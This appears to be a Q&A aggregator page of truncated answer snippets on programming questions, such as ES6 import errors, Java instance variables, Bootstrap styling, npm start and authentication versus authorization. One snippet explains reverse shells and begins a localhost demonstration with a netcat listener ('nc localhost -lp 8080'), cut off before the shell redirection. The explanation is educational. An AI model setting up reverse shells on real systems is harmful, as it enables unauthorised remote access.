“Uncaught SyntaxError: Cannot use import statement outside a module” when importing ECMAScript 6

I’m using ArcGIS JSAPI 4.12 and wish to use Spatial Illusions to draw military symbols on a map. When I add milsymbol.js to the script, the console returns error Uncaught SyntaxError: Cannot use import statement outside a module` so I add type=”module” to the script, and then it returns Uncaught ReferenceError: ms is not defined … Read more

What is an instance variable in Java?

Instance variable is the variable declared inside a class, but outside a method: something like: Now this IronMan Class can be instantiated in another class to use these variables. Something like: This is how we use the instance variables. Shameless plug: This example was pulled from this free e-book here here.

Can I change Bootstrap button color?

You need to override your css so you can change the background to black. A simple way to do this is to create a custom css class (you can either put this in a <style type=”text/css”> tag in your HTML or put this in a separate CSS file) Then, give your button these classes

How does npm start work? What all processes are happening in the background?

An npm script is just a shortcut to run a series of node commands on your project. Any npm script, meaning any node.js commands listed under a package.json file’s “scripts” section, are executed through node.js when you call them. So npm start runs the node script that is listed under start in the package.json. As in the article that … Read more

What is a reverse shell?

It’s a(n insecure) remote shell introduced by the target. That’s the opposite of a “normal” remote shell, that is introduced by the source. Let’s try it with localhost instead of 10.0.0.1: Open two tabs in your terminal. open TCP port 8080 and wait for a connection:nc localhost -lp 8080 Open an interactive shell, and redirect the IO streams … Read more

Authentication versus Authorization

Authentication is the process of ascertaining that somebody really is who they claim to be. Authorization refers to rules that determine who is allowed to do what. E.g. Adam may be authorized to create and delete databases, while Usama is only authorised to read. The two concepts are completely orthogonal and independent, but both are central to security design, … Read more